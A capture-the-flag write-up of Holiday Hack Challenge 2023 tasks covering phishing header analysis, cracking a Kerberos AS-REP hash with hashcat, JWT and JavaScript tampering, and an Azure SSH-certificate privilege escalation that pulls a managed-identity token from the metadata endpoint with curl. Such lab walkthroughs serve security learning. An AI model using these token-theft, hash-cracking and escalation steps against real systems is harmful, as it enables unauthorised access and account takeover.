๐Ÿ† Objective: Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

โ›ต Destination: Film Noir Island (The Blacklight District)

โœ”๏ธ Solution: Identify the 10 phishing emails

  • โ„๏ธ Sail north around Film Noir Island to reach The Blacklight District dock
  • โ„๏ธ Head northeast to find Fitzy Shortstack and the Phish detection Cranberry Pi terminal
  • โ„๏ธ Sort the phishing emails from the legitimate emails by marking them as either Safe or Phishing

๐Ÿ’ฌ Fitzy Shortstack Conversation:

You've cracked the case! Once again, you've proven yourself to be an invaluable asset in our fight against these digital foes.

Note: Previous conversations with Fitzy donโ€™t appear to have been recorded during the playthrough.

๐Ÿ’ก Breakdown:

Sail north around the wing of Film Noir Island and dock at The Blacklight District dock. Head northeast to find Fitzy Shortstack and the Phish detection Cranberry Pi.

Screenshot

Click on the Phish Detection Cranberry Pi and understand that some emails are marked safe that are phishing, and some are marked phishing which are safe.

Screenshot

The challenge provides information on SPF, DKIM, and DMARC records for the geeseislands.com domain that can be used to help find phishing emails.

Screenshot

It should be noted that the email headers provided are stripped to bare minimum fields. Itโ€™s also worth noting that DKIM as defined in RFC6376, has a signature data field defined by b= within a header. When reviewing the email headers in this challenge all of them have a hardcoded b= value which isnโ€™t calculated by the message hash or any content within the email as it should be, but this has no impact on passing or failing any checks, or indicating that an email may be phishing.

b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;

Screenshot

Screenshot

By marking an email as safe or phishing and intercepting the request itโ€™s shown that a list of currently marked phishing senders is being sent to the server to compare whether it matches to a list of known malicious senders.

Screenshot

Modifying the response received to say the lists match results in a message saying that the challenge has been completed, despite it not actually being completed.

Screenshot

Screenshot

Combing over all the emails shows 10 phishing emails based on their email Headers and sender details.

Screenshot

โ›„ 1. [email protected]

Screenshot

This email shows that the sender was actually from [email protected] with a spoofed sender, and failed DMARC checks.

โ›„ 2. [email protected]

Screenshot

This email shows that the sender was actually [email protected], had an invalid DKIM signature, and failed DMARC checks.

โ›„ 3. [email protected]

Screenshot

This email shows that it had an altered DKIM signature, and it failed DMARC checks.

โ›„ 4. [email protected]

Screenshot

This email shows that the sender was actually [email protected], and although it had a DKIM signature and passed DMARC checks, this was for the unauthorized.com domain not geeseislands.com.

โ›„ 5. [email protected]

Screenshot

This email shows that the sender was actually [email protected], and although it had a DKIM signature and passed DMARC checks, this was for the unknownsource.com domain not geeseislands.com.

โ›„ 6. [email protected]

Screenshot

This email shows that the DKIM signature wasn't present, and that it failed DMARC checks.

โ›„ 7. [email protected]

Screenshot

This email shows that the sender was actually [email protected] not geeseislands.com, and although it had a DKIM signature, it failed DMARC checks.

โ›„ 8. [email protected]

Screenshot

This email shows that it had an invalid DKIM signature and failed DMARC checks.

โ›„ 9. [email protected]

Screenshot

This email shows that the sender was actually [email protected] not geeseislands.com, and although it had valid DKIM and valid DMARC, this was for the externalserver.com domain.

โ›„ 10. [email protected]

Screenshot

This email shows that the sender was actually [email protected] not geeseislands.com, and although it had valid DKIM and valid DMARC, this was for the otherdomain.com domain.

These 10 emails correctly identified as phishing with all others marked safe solves the challenge.

Screenshot

๐ŸŽ… Hashcat ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

โ›ต Destination: Island of Misfit Toys (Scaredy Kite Heights)

โœ”๏ธ Solution: /bin/runtoanswer IluvC4ndyC4nes!

  • โ„๏ธ Quick travel to Scaredy Kite Heights which was unlocked when heading to the Ostrich Saloon
  • โ„๏ธ Locate Eve Snowshoes and the Hashcat Cranberry Pi terminal adjacent to the stuffed elephant
  • โ„๏ธ Identify the hash type required to be cracked
  • โ„๏ธ Crack the hash to reveal the password IluvC4ndyC4nes! and run /bin/runtoanswer IluvC4ndyC4nes!

๐Ÿ’ฌ Eve Snowshoes Conversation:

Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!
I'm Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.
Our dear Alabaster forgot his password. He's been racking his jingle bells of memory with no luck.
I've been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.
So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?
Aha! Success! Alabaster will undoubtedly be grateful for our assistance.
Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!

๐Ÿ’ก Breakdown:

Using the destinations menu, quick travel to Scaredy Kite Heights on the Island of Misfit Toys. Head northeast to find Eve Snowshoes and interact with the Hashcat Cranberry Pi terminal.

Screenshot

Understand the hash type to be cracked is Kerberos 5, etype 23, AS-REP (18200) by viewing the hash.txt file and comparing it against example hashes.

elf@6881680c1305:~$ cat hash.txt 
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966elf@b488e8994f7f:~$ 

Crack the hash using hashcat and the provided wordlist.

elf@6881680c1305:~$ hashcat -m 18200 hash.txt password_list.txt -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Xeon(R) CPU @ 2.80GHz, 8192/30063 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=16 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
* Device #1: Kernel m18200_a0-pure.d7bc3268.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: password_list.txt
* Passwords.: 144
* Bytes.....: 2776
* Keyspace..: 144
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.  

$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2...dd1966
Time.Started.....: Thu Dec  7 00:09:19 2023 (0 secs)
Time.Estimated...: Thu Dec  7 00:09:19 2023 (0 secs)
Guess.Base.......: File (password_list.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1139 H/s (1.07ms) @ Accel:1 Loops:1 Thr:64 Vec:16
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 144/144 (100.00%)
Rejected.........: 0/144 (0.00%)
Restore.Point....: 0/144 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-0
Candidates.#1....: 1LuvCandyC4n3s!2022 -> iLuvC4ndyC4n3s!23!

Started: Thu Dec  7 00:09:00 2023
Stopped: Thu Dec  7 00:09:20 2023

IluvC4ndyC4nes!

Submit IluvC4ndyC4nes! via /bin/runtoanswer to solve the challenge.

elf@6881680c1305:~$ /bin/runtoanswer IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!

Checking....
Your answer is correct!

Screenshot

๐ŸŽ… Elf Hunt ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

โ›ต Destination: Pixel Island (Rainraster Cliffs)

โœ”๏ธ Solution: Get at least 75 points in the Elf Hunt challenge.

  • โ„๏ธ Sail north to Pixel Island and dock at Rainraster Cliffs on the back of the island
  • โ„๏ธ Head east and north up the ladder to find Piney Sappington and the Elf Hunt challenge
  • โ„๏ธ Intercept and modify the assigned ElfHunt_JWT cookie to adjust elf speed
  • โ„๏ธ Play the game and win the challenge, or just set your score to win

๐Ÿ’ฌ Piney Sappington Conversation:

Hey there, friend! Piney Sappington here.
You look like someone who's good with puzzles and games.
I could really use your help with this Elf Hunt game I'm stuck on.
I think it has something to do with manipulating JWTs, but I'm a bit lost.
If you help me out, I might share some juicy secrets I've discovered.
Let's just say things around here haven't been exactly... normal.
So, what do ya say? Are you in?
Oh, brilliant! I just know we'll crack this game together.
I can't wait to see what we uncover, and remember, mum's the word!
Thanks a bunch! Keep your eyes open and your ears to the ground.
Well done! You've brilliantly won Elf Hunt! I couldn't be more thrilled. Keep up the fine work, my friend!
What have you found there? The Captain's Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.

๐Ÿ’ก Breakdown:

Sail north to Pixel Island and dock at Rainraster Cliffs. Head east and then north up the ladder to find Piney Sappington and the Elf Hunt challenge.

Screenshot

Play the challenge and intercept requests to and from elfhunt.org to find the assigned ElfHunt_JWT cookie.

Screenshot

Modify the second half of the cookie (preceding the first ., and change the speed variable to slow down the elves.

Screenshot

Replace the current ElfHunt_JWT cookie to include the modified speed variable.

Screenshot

JavaScript controlling the game can be examined to see this variable is set to control the speed of the elves. Thereโ€™s also variables that control how many images (sponsor posters) will impede the gameplay.

Screenshot

Screenshot

Despite all of this the game doesnโ€™t need to be played at all. The returned JavaScript can be modified to set the starting score variable to 75 or greater and instantly win the game.

Screenshot

This same modification can be made using the console at any time to instantly win the game.

Screenshot

๐ŸŽ… Certificate SSHenanigans ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Go to Pixel Island and review Alabaster Snowballโ€™s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

โ›ต Destination: Pixel Island (Rainraster Cliffs)

โœ”๏ธ Solution: Gingerbread

  • โ„๏ธ Head east and then north further up ladders to reach Alabaster Snowball
  • โ„๏ธ Speak to Alabaster to learn about the Northpole SSH Certificates web application
  • โ„๏ธ Generate a certificate and upload the public key to the application
  • โ„๏ธ Use the system public key and generated public key to access the monitor account
  • โ„๏ธ Breakout of the SatTracker interface and use the Azure Instance Metadata Service to request an authorization key
  • โ„๏ธ Use the authorization key to uncover the source code and locate the hidden Principal manipulation vulnerability
  • โ„๏ธ Generate a new public key to access the alabaster account and read alabaster_todo.md

๐Ÿ’ฌ Alabaster Snowball Conversation:

Hey there! I'm currently a bit swamped with this Azure deployment.
Once I'm done I'll tell you about it. It's pretty awesome!
You'll need a bit of Azure knowledge though. Sparkle Redberry can help you get up to speed on that. You can find her at the Rudolph's Rest Resort on Christmas Island.
Hello there! Alabaster Snowball at your service.
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!

๐Ÿ’ก Breakdown:

Head east to find another ladder, climb this ladder before heading west and climbing a final ladder to Alabaster Snowball.

Screenshot

Talk to Alabaster to learn about the Northpole SSH Certificates web application and challenge objective.

Screenshot

Use ssh-keygen to create a public and private key pair.

root@mintsec:~/Desktop/Kringlecon2023# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/Kringlecon2023/.ssh/id_rsa        
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.
Your public key has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:SElnZMRuO+VDY+yhDo4mlFqZDbwC0bY+/+7lLhQ8FHE root@mintsec
The key's randomart image is:
+---[RSA 3072]----+
| .    +*E        |
|. o  ..*.        |
| + . oo. .       |
|. +  .+.o B      |
|.. B  .+SO o     |
|. X . o + +      |
| = o + o.. .     |
|. . + oo.        |
|   o ++oo        |
+----[SHA256]-----+

Submit the public key (in this instance /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub) to the web application and retrieve the ssh_cert generated. Save the content to a file locally (in this instance /root/Desktop/Kringlecon2023/.ssh/certificate.pub)

Screenshot

Confirm the key is valid.

ssh-keygen -lf /root/Desktop/Kringlecon2023/.ssh/certificate.pub

Provide the generated system certificate public key to the web application along with your private key to authenticate as the monitor user account.

ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]

Screenshot

Using CTRL + C break out of the monitoring application into a user bash shell. Examine user principals on the system at /etc/ssh/auth_principals to determine elf and admin are available.

Screenshot

Using the Azure Instance Metadata Service (IMDS) request an authorization token from the managed identities for Azure resources endpoint.

monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwMDI1NjYsIm5iZiI6MTcwMjAwMjU2NiwiZXhwIjoxNzAyMDg5MjY2LCJhaW8iOiJFMlZnWU5pNzlQdWxoNmNUOVd2YWRJN2ZXMnRlRFFBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJCTGNmSXZCX09FbVpHMkJaUkZZVkFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.CVLsdF92cK4DAh_pYHSJkTVT6l_IwId6wiQ8P0tMpQyt-NSxAtdAJ1wBACcV5JtkeiKsx0Aja2Wtqwuuv7x0QVpIw_PZQeJ06LEvScEFP-Wg4gj9Tgdopb3cj2sr6ycNOWak1qmG09wmM8TAUbb1S-giJDJcbfHIcU4k1jToia5Q0Xx2cZl_0DkKs4T4t5ueENglpoAKFtEllb-jNXxXSKbgnFnPJ3dXqdAiJTWIf4PJY3qOPCikNuPdLLtXrsGJMK5HfkpCOT1DN_bk1iHSWu0FJOFd4TgBIURFVORVQz_szXnXN96NLef2TZ0DNYtsy4nJjuZGdnkggpZz3NNTvw",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "84651",
  "expires_on": "1702089266",
  "ext_expires_in": "86399",
  "not_before": "1702002566",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

Using the Azure IMDS enumerate subscription and resource group information.

monitor@ssh-server-vm:~$ curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
{
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "ssh-server-vm",
    "offer": "",
    "osProfile": {
      "adminUsername": "",
      "computerName": "",
      "disablePasswordAuthentication": ""
    },
    "osType": "Linux",
    "placementGroupId": "",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "0",
    "platformUpdateDomain": "0",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "",
    "resourceGroupName": "northpole-rg1",
    "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "",
    "storageProfile": {
      "dataDisks": [],
      "imageReference": {
        "id": "",
        "offer": "",
        "publisher": "",
        "sku": "",
        "version": ""
      },
      "osDisk": {
        "caching": "ReadWrite",
        "createOption": "Attach",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
          "storageAccountType": "Standard_LRS"
        },
        "name": "ssh-server-vm_os_disk",
        "osType": "Linux",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "38912"
      }
    },
    "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "tags": "Project:HHC23",
    "tagsList": [
      {
        "name": "Project",
        "value": "HHC23"
      }
    ],
    "userData": "",
    "version": "",
    "vmId": "dc64208e-c208-446d-8288-7f2488035e34",
    "vmScaleSetName": "",
    "vmSize": "Standard_B2s",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.0.50",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.0.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "7C1E520227A2"
      }
    ]
  }
}

Adding the Authorization token to a request header, use the Get Source Control REST API endpoint to retrieve the github repository hosting the web application.

Screenshot

Examine the function_app.py script to discover it is attempting to parse a given parameter called principal and then it uses this on the generated certificate.

Screenshot

Exploit the principal manipulation vulnerability by making a new POST request to the web application including a principal field with the value admin.

Screenshot

Save the retrieved certificate key (in this instance to /root/Desktop/Kringlecon2023/.ssh/certificate2.pub) and use this to authenticate to the SSH server as alabaster.

ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]

Read alabaster_todo.md and submit the name of the cookie cache that Alabaster needs to implement.

alabaster@ssh-server-vm:~$ ls
alabaster_todo.md  impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md 
# Geese Islands IT & Security Todo List

- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.

Gingerbread

๐ŸŽ… The Captainโ€™s Comms ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. Youโ€™ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

โ›ต Destination: Steampunk Island (Brass Bouy Port)

โœ”๏ธ Solution: Using the GeeseIslandsSuperChiefCommunicationsOfficer role transmit 1224 and 1200 over the frequency 10426

  • โ„๏ธ Quick travel back to Brass Bouy Port on Steampunk Island
  • โ„๏ธ Head west, south, and then east to get to Chimney Scissorsticks and The Captain's Comms challenge
  • โ„๏ธ Interact with the challenge and locate the rMonitor.tok file
  • โ„๏ธ Modify authorization header using rMonitor.tok contents to get RadioMonitor access
  • โ„๏ธ Using the same naming convention locate a rDecoder.tok file
  • โ„๏ธ Modify authorization header using rDecoder.tok contents to get RadioDecoder access
  • โ„๏ธ Decode the first signal spike to uncover the captainโ€™s secret folder TH3CAPSPR1V4T3F0LD3R
  • โ„๏ธ Decode the second signal spike to uncover the Go Date and Go Time of the attack
  • โ„๏ธ Decode the third signal spike to uncover the frequency to transmit on
  • โ„๏ธ Obtain the captainโ€™s private key and sign a JWT token to grant GeeseIslandsSuperChiefCommunicationsOfficer privileges
  • โ„๏ธ Transmit the new time of attack 4 hours earlier than the one previously identified

๐Ÿ’ฌ Chimney Scissorsticks Conversation:

Heya, think you could help Piney Sappington on Rainraster Cliffs on Pixel Island and then give me a hand?
Ahoy there, I'm Chimney Scissorsticks!
You may have noticed some mischief-makers planning to stir up trouble ashore.
They've made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR).
The new SDR uses some fancy JWT technology to control access.
The captain has a knack for shortening words, some sorta abbreviation trick.
Not familiar with JWT values? No worries; just think of it as a clue-solving game.
I've seen that the Captain likes to carry his journal with him wherever he goes.
If only I could find the planned "go-date", "go-time", and radio frequency they plan to use.
Remember, the captain's abbreviations are your guiding light through this mystery!
Once we find a JWT value, these villains won't stand a chance.
The closer we are, the sooner we'll be thwarting their pesky plans!
We need to recreate an administrative JWT value to successfully transmit a message.
Good luck, matey! I've no doubts about your cleverness in cracking this conundrum!
Brilliant work! You've outsmarted those scoundrels with finesse!

๐Ÿ’ก Breakdown:

Quick travel to Brass Bouy Port on Steampunk Island and head west, south, and then east to get to Chimney Scissorsticks and The Captain's Comms challenge.

Screenshot

Identify various clickable components of the challenge, and understand the objective. Specifically after identifying the go-time of the attack, a new transmission needs to be sent which is 4 hours earlier.

Screenshot

Screenshot

Starting out with very limited access rights the Just Watch This: Owner's Card mentions that thereโ€™s 3 roles, RadioUser, RadioMonitor, and RadioDecoder, in addition to the administrator role created during install.

Screenshot

Intercepting and examining any request shows the user cookie weโ€™re assigned that grants us the radioUser role. This JWT token has a signature which is being validated, preventing us from trivially setting access rights to a different role.

Headers = {
  "alg": "RS256",
  "typ": "JWT"
}

Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

Signature = "BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg"

Screenshot

The Just Watch This: Owner's Card hints that a rMonitor.tok file containing the radioMonitor role token was created in the /jwtDefault directory. This clue allows retrieving the file from https://captainscomms.com/jwtDefault/rMonitor.tok so long as a proper authorization token of radioUser is sent in the header. Failing to include the correct header presents an error.

Screenshot

The script converting any justWatchThisRole cookie into an Authorization header can be found by viewing network traffic or intercepting requests to and from captainscomms.com.

Screenshot

By either setting the appropriate Authorization header or justWatchThisRole cookie, the JWT to become radioMonitor is obtained.

Screenshot

Screenshot

Setting this JWT in Burp Suite and decoding it using the JWT Editor extension, we can see that it is a long-lived token for the radioMonitor account.

Screenshot

At this point thereโ€™s now access to the radio monitor, but without the ability to decode any of the radio waves.

Screenshot

Looking back at the Just Watch This: Owner's Card, it mentions that the radioDecoder role is also setup during system install. Using the naming convention knowledge of rMonitor.tok being the radio monitor default JWT token, the radio decoder token can be found at https://captainscomms.com/jwtDefault/rDecoder.tok.

Screenshot

Setting this as the new Authorization header or justWatchThisRole cookie allows access to decoding the radio waves.

โ›„ Radio wave 1

The first radio wave reveals a message stating SILLY CAPTAIN! WE FOUND HIS FANCY RADIO PRIVATE KEY IN A FOLDER CALLED TH3CAPSPR1V4T3F0LD3R.

Screenshot

This provides part of the location where the captainโ€™s private key is located.

โ›„ Radio wave 2

The second radio wave reveals what looks to be a numbers station broadcast based on what is inferred in the Just Watch This Appendix A - Decoder Index.

Screenshot

Screenshot

By stripping the message back to 5-digit number groups, it appears that every number is padded with the value 9.

12249 12249 16009 16009 12249 12249 16009 16009

Stripping this off leaves 2 unique values.

1224 1600

These values indicate the date and time the attack will take place (November 24, at 4pm)

โ›„ Radio wave 3

The third radio wave reveals a drawing of Geese Islands including a frequency value 10426.

Screenshot

At this point thereโ€™s enough to solve the challenge if you have access to the administrator role. After completing the Elf Hunt challenge a captains journal is discovered that talks about the role of GeeseIslandsSuperChiefCommunicationsOfficer.

Screenshot

